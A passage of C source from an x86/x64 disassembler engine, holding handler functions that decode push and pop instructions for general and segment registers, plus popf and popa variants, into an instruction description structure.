            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 16;
            (*pMyDisasm).Argument2.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      59h
// =======================================
void __stdcall pop_ecx(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[1+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[1+0+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+8];
        }
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1];
            (*pMyDisasm).Argument1.ArgSize = 32;
            (*pMyDisasm).Argument2.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1];
            (*pMyDisasm).Argument1.ArgSize = 16;
            (*pMyDisasm).Argument2.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      5ah
// =======================================
void __stdcall pop_edx(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[2+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2];

        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[2+0+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2+8];
        }
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2];
            (*pMyDisasm).Argument1.ArgSize = 32;
            (*pMyDisasm).Argument2.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[2];
            (*pMyDisasm).Argument1.ArgSize = 16;
            (*pMyDisasm).Argument2.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      5bh
// =======================================
void __stdcall pop_ebx(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[3+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[3+0+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3+8];
        }
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3];
            (*pMyDisasm).Argument1.ArgSize = 32;
            (*pMyDisasm).Argument2.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[3];
            (*pMyDisasm).Argument1.ArgSize = 16;
            (*pMyDisasm).Argument2.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      5ch
// =======================================
void __stdcall pop_esp(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[4+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[4+0+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4+8];
        }
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4];
            (*pMyDisasm).Argument1.ArgSize = 32;
            (*pMyDisasm).Argument2.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[4];
            (*pMyDisasm).Argument1.ArgSize = 16;
            (*pMyDisasm).Argument2.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      5dh
// =======================================
void __stdcall pop_ebp(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[5+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[5+0+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5+8];
        }
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5];
            (*pMyDisasm).Argument1.ArgSize = 32;
            (*pMyDisasm).Argument2.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[5];
            (*pMyDisasm).Argument1.ArgSize = 16;
            (*pMyDisasm).Argument2.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      5eh
// =======================================
void __stdcall pop_esi(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[6+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[6+0+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+8];
        }
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6];
            (*pMyDisasm).Argument1.ArgSize = 32;
            (*pMyDisasm).Argument2.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6];
            (*pMyDisasm).Argument1.ArgSize = 16;
            (*pMyDisasm).Argument2.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      5fh
// =======================================
void __stdcall pop_edi(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[7+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[7+0+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+8];
        }
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7];
            (*pMyDisasm).Argument1.ArgSize = 32;
            (*pMyDisasm).Argument2.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7+0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7];
            (*pMyDisasm).Argument1.ArgSize = 16;
            (*pMyDisasm).Argument2.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//
// =======================================
void __stdcall pop_es(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[0]);
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SEGMENT_REG + REGS[0];
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        EIP_++;
    }
}

// =======================================
//
// =======================================
void __stdcall pop_ss(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[2]);
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SEGMENT_REG + REGS[2];
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        EIP_++;
    }
}

// =======================================
//
// =======================================
void __stdcall pop_ds(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[3]);
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SEGMENT_REG + REGS[3];
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        EIP_++;
    }
}

// =======================================
//
// =======================================
void __stdcall pop_fs(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[4]);
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SEGMENT_REG + REGS[4];
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        EIP_++;
    }
}

// =======================================
//
// =======================================
void __stdcall pop_gs(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[5]);
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SEGMENT_REG + REGS[5];
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        EIP_++;
    }
}

// =======================================
//      9dh
// =======================================
void __stdcall popfd_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + FLAG_CONTROL_INSTRUCTION;

    if (Architecture == 64) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "popfq ");
        EIP_++;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
        FillFlags(pMyDisasm, 78);
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "popfd ");
        EIP_++;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.ArgSize = 32;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
        FillFlags(pMyDisasm, 78);
    }
    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "popf ");
        EIP_++;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
        FillFlags(pMyDisasm, 78);
    }
}

// =======================================
//      9dh
// =======================================
void __stdcall popad_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;

    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else if (OperandSize == 32) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "popad ");
        EIP_++;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG1 + REG2 + REG3 + REG4 + REG5 + REG6 + REG7;
        (*pMyDisasm).Argument1.ArgSize = 32;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.ArgSize = 32;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
    }
    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "popa ");
        EIP_++;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG1 + REG2 + REG3 + REG4 + REG5 + REG6 + REG7;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
    }
}


// =======================================
//
// =======================================
void __stdcall push_es(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[0]);
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + SEGMENT_REG + REGS[0];
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        EIP_++;
    }
}

// =======================================
//
// =======================================
void __stdcall push_ss(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[2]);
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + SEGMENT_REG + REGS[2];
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        EIP_++;
    }
}

// =======================================
//
// =======================================
void __stdcall push_ds(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[3]);
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + SEGMENT_REG + REGS[3];
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        EIP_++;
    }
}

// =======================================
//
// =======================================
void __stdcall push_fs(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[4]);
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + SEGMENT_REG + REGS[4];
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        EIP_++;
    }
}

// =======================================
//
// =======================================
void __stdcall push_gs(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[5]);
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + SEGMENT_REG + REGS[5];
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        EIP_++;
    }
}

// =======================================
//
// =======================================
void __stdcall push_cs(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        FailDecode(pMyDisasm);
    }
    else {
        (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, RegistersSEG[1]);
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + SEGMENT_REG + REGS[1];
        (*pMyDisasm).Argument2.ArgSize = 16;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        EIP_++;
    }
}



// =======================================
//      50h
// =======================================
void __stdcall push_eax(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[0+8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0+8];
        }
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Argument1.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
            (*pMyDisasm).Argument2.ArgSize = 32;
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
            (*pMyDisasm).Argument2.ArgSize = 16;
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      51h
// =======================================
void __stdcall push_ecx(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[1+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[1+0+8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1+8];
        }
        (*pMyDisasm).Argument2.ArgSize = 64;
        (*pMyDisasm).Argument1.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[1+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1];
            (*pMyDisasm).Argument2.ArgSize = 32;
            (*pMyDisasm).Argument1.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[1+0]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[1];
            (*pMyDisasm).Argument2.ArgSize = 16;
            (*pMyDisasm).Argument1.ArgSize = 16;
        }
    }
    EIP_++;
    (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
    (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
}

// =======================================
//      52h
// =======================================
void __stdcall push_edx(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
